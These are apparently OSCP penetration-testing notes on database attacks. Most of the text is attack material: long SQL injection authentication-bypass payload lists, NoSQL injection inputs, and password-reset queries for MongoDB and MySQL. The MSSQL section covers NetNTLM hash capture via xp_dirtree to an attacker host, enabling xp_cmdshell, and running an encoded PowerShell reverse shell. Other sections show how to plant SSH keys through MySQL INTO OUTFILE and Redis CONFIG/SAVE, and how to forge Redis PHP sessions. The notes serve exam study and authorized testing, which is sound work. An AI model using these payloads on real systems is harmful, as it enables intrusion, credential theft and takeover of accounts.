OSCP notesExtended library
Browse tracks

SQL Injection

Validate query influence before choosing extraction

For an observed numeric GET parameter, compare the unchanged request with paired true/false conditions while keeping the same session and request state:

curl -i --get --data-urlencode 'id=1' http://TARGET:PORT/item
curl -i --get --data-urlencode 'id=1 AND 1=1' http://TARGET:PORT/item
curl -i --get --data-urlencode 'id=1 AND 1=2' http://TARGET:PORT/item

Replace the path/parameter with the real request. A reproducible content difference is a lead; redirects, cache, authorization and dynamic content can imitate one. A quoted string, JSON body or POST form needs its own syntax/context. Once confirmed, establish the column count/types and a reflected column before a UNION extraction; do not guess a long payload list. Use the manual SQL workflow for complete UNION and blind variants. An authentication bypass alone does not prove database or OS privileges.

Authentication bypass

Here's the classic payload:

tom' or 1=1;#

If we do encounter errors when our payload is returning multiple rows, we can instruct the query to return a fixed number of records with the LIMIT statement:

tom' or 1=1 LIMIT 1;#

Database analysis

Thanks 0xsyr0 for the cheatsheet.

MongoDB

mongo "mongodb://localhost:27017"
> use <DATABASE>;
> show tables;
> show collections;
> db.system.keys.find();
> db.users.find();
> db.getUsers();
> db.getUsers({showCredentials: true});
> db.accounts.find();
> db.accounts.find().pretty();
> use admin;

User Password Reset to "12345"

> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })

MSSQL

Use the optional sqlcmd client for SQL Server authentication

From Kali, with reachable SQL Server and a SQL login; omit a password flag to use the prompt:

sqlcmd -S TARGET -U USER

Use the identity/rights queries below after connecting. This client is an alternative to Impacket, not a second required connection. Select encryption/authentication settings for the actual server from the installed help.

For SQL authentication, let the client prompt for the recovered account's password:

impacket-mssqlclient 'USER@TARGET'
Use a domain identity rather than a SQL login
impacket-mssqlclient 'DOMAIN/USER@TARGET' -windows-auth

SQL-login and Windows-authentication failure are different contexts; do not treat a valid domain password as a SQL account.

Inside the client, establish the effective login and rights:

SELECT SYSTEM_USER, ORIGINAL_LOGIN(), USER_NAME(), DB_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;

sysadmin = 1 supports the privileged configuration route below. A zero or NULL needs its actual rights/context checked. The client commands enum_impersonate and enum_links expose distinct potential paths; validate a returned permission/link before using it. Impacket SQL shell commands.

Show Database Content

1> SELECT name FROM master.sys.databases
2> go

OPENQUERY

1> select * from openquery("web\clients", 'select name from master.sys.databases');
2> go
1> select * from openquery("web\clients", 'select name from clients.sys.objects');
2> go

Binary Extraction as Base64

1> select cast((select content from openquery([web\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64;
2> go > export.txt

Steal NetNTLM Hash / Relay Attack

SQL> exec master.dbo.xp_dirtree '\\<LHOST>\FOOBAR'

Impacket mssqlclient.py

impacket-mssqlclient <USER>:<PASS>@<TARGET_IP>
./mssqlclient.py <USER>:<PASS>@<TARGET_IP>

xp_cmdshell

Requires the relevant SQL Server permissions. Record the previous configuration before enabling it and restore changed settings after use. The command runs under the SQL Server service/proxy OS account; verify that identity rather than assuming SYSTEM.

SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure
SQL> xp_cmdshell "whoami"
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

You can also execute base 64 encoded commands:

SQL> xp_cmdshell "powershell -e <B64_PAYLOAD>" #Get the payload from https://www.revshells.com/

Linked SQL Server Enumeration

SQL> SELECT user_name();
SQL> SELECT name,sysadmin FROM syslogins;
SQL> SELECT srvname,isremote FROM sysservers;
SQL> EXEC ('SELECT current_user') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\<CONFIG_FILE>]') at [<DOMAIN>\<CONFIG_FILE>];

MySQL

mysql -u root -p
mysql -u <USERNAME> -h <RHOST> -p
mysql> show databases;
mysql> use <DATABASE>;
mysql> show tables;
mysql> describe <TABLE>;
mysql> SELECT * FROM Users;
mysql> SELECT * FROM users \G;
mysql> SELECT Username,Password FROM Users;

Update User Password

mysql> update user set password = '37b08599d3f323491a66feabbb5b26af' where user_id = 1;

Drop a Shell

mysql> \! /bin/sh

\! starts a shell on the machine running the MySQL client. It is not remote database-server execution and does not escalate that server's privileges.

Stored database text reaches an application consumer

Inserting a shell-looking string into a row is not database-server code execution. First identify the application/job that reads the exact field, its escaping/interpreter behavior, execution identity and trigger. Without that consumer, the result is stored data only. Use the command-injection procedure only after demonstrating that boundary; choose a harmless marker before a callback payload.

Write a new SSH authorized-keys file

Requires MySQL FILE privilege, a compatible secure_file_priv setting, database-service OS write access to the existing directory, and an SSH account configured to read that exact path. The output file must not already exist; MySQL INTO OUTFILE does not overwrite it.

SHOW GRANTS;
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT 'PUBLIC_KEY' INTO OUTFILE '/home/REMOTE_USER/.ssh/authorized_keys' LINES TERMINATED BY '\n';

Replace the public key, account and path with verified values. authorized_keys2 is only relevant if that SSH server actually uses it. A file-write success is not a successful SSH login; ownership, modes, account policy and key acceptance still apply. Do not overwrite an existing key file as a shortcut.

NoSQL Injection

admin'||''==='
{"username": {"$ne": null}, "password": {"$ne": null} }

PostgreSQL

$ psql
$ psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>
$ psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>

Common Commands

postgres=# \c
postgres=# \list
postgres=# \c  <DATABASE>
<DATABASE>=# \dt
<DATABASE>=# \du
<DATABASE>=# TABLE <TABLE>;
<DATABASE>=# SELECT * FROM users;
<DATABASE>=# \q

Redis

Use the actual reachable port and accepted ACL identity. For a password-protected endpoint:

redis-cli -h TARGET -p PORT --user USER --askpass

Inside the client, inspect the surface and a selected key before choosing any mutation:

PING
INFO server
INFO keyspace
SCAN 0 MATCH PATTERN COUNT 100
TYPE KEY
GET KEY
CONFIG GET dir
CONFIG GET dbfilename

Replace PATTERN and KEY with the relevant application namespace/key; continue returned SCAN cursors when needed. GET only applies to string keys. ACL denial, protected configuration or protected-mode errors are constraints, not evidence a shell-writing recipe will work. For a deliberately confirmed unauthenticated endpoint, omit --user and --askpass; do not assume anonymous access from an open port.

An identified PHP session key is the application's authentication state
GET PHPREDIS_SESSION:SESSION_ID

Record the original value, then establish the application's actual serializer, field names, session ownership and integrity checks before a targeted change. A PHP serialized string's length is its byte length, not a fixed value for every username. Restore the original state after the selected test. An arbitrary Redis key or role string is not automatically an accepted application session.

Only for an observed PHP session schema using exactly these string fields, the following illustrates a four-byte username USER:

SET PHPREDIS_SESSION:SESSION_ID "username|s:4:\"USER\";role|s:5:\"admin\";auth|s:4:\"True\";"

Match the actual field types and byte lengths, then test the corresponding session's permitted operation. This is not a universal session format. Restore the recorded original value using the same key and correct Redis string escaping; do not remove another user's session as cleanup.

Enter own SSH Key

Conditional legacy snapshot-to-key-file technique

Requires permitted CONFIG writes and SAVE, Redis OS write access to an existing SSH directory, a compatible SSH key-file consumer, and a verified absent destination or a recoverable file whose original content will be preserved. Newer Redis defaults may prohibit these configuration changes. An RDB snapshot can replace the destination with binary data; do not use this against an unverified existing authorized-keys file.

Record the original directory/filename using the read-only commands above. Select an unused staging key; EXISTS STAGING_KEY must return 0 before using it. On Kali, stage only the chosen public key:

{ printf '\n\n'; cat /PATH/id_ed25519.pub; printf '\n\n'; } > key-payload.txt
redis-cli -h TARGET -p PORT --user USER --askpass -x SET STAGING_KEY < key-payload.txt

In the authenticated Redis client, use the verified account/path:

CONFIG SET dir /home/REMOTE_USER/.ssh
CONFIG SET dbfilename authorized_keys
SAVE
CONFIG SET dir ORIGINAL_DIR
CONFIG SET dbfilename ORIGINAL_FILENAME
DEL STAGING_KEY

Substitute the recorded original settings, quoting values containing spaces. Restore changed configuration even if SAVE or a later check fails; remove only the staging key created by this test. Verify SSH acceptance separately, then remove the added key/file and restore any preserved original file. Snapshot output is not guaranteed to be a valid SSH key file. Redis configuration and persistence.

SQL Injection

Master List

admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-

Authentication Bypass

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

SQL Truncation Attack

'admin@<FQDN>' = 'admin@<FQDN>++++++++++++++++++++++++++++++++++++++htb'

sqlite3

sqlite3 <DATABASE>.db
sqlite> .tables
sqlite> select * from users;

sqsh

sqsh -S <RHOST> -U <USERNAME>

Prepare tools used on this page

Use the shared Kali workspace preparation first. Optional tools are not additional mandatory passes. Skip a clone when its reviewed checkout already exists.

Prepare MongoDB shell

The existing examples use the legacy mongo client. This optional Kali package supplies that spelling; it may not support modern server/authentication requirements. Use the vendor-supported mongosh client when the actual server requires it; do not assume the two CLIs are identical. Upstream.

sudo apt install mongodb-clients

Check on Kali:

mongo --version
Prepare sqlcmd

Optional official Go sqlcmd for Kali amd64; this is not the separate ODBC mssql-tools package. The existing -S/-U connection form is supported; review encryption/authentication options in the installed help for the actual server. Upstream.

mkdir -p "$HOME/oscp/tools/repos/sqlcmd"
curl -fL https://github.com/microsoft/go-sqlcmd/releases/download/v1.10.0/sqlcmd-linux-amd64.tar.bz2 -o "$HOME/oscp/tools/downloads/sqlcmd.tar.bz2"
tar -xjf "$HOME/oscp/tools/downloads/sqlcmd.tar.bz2" -C "$HOME/oscp/tools/repos/sqlcmd"
ln -s "$HOME/oscp/tools/repos/sqlcmd/sqlcmd" "$HOME/oscp/tools/bin/sqlcmd"

Check on Kali:

"$HOME/oscp/tools/bin/sqlcmd" --version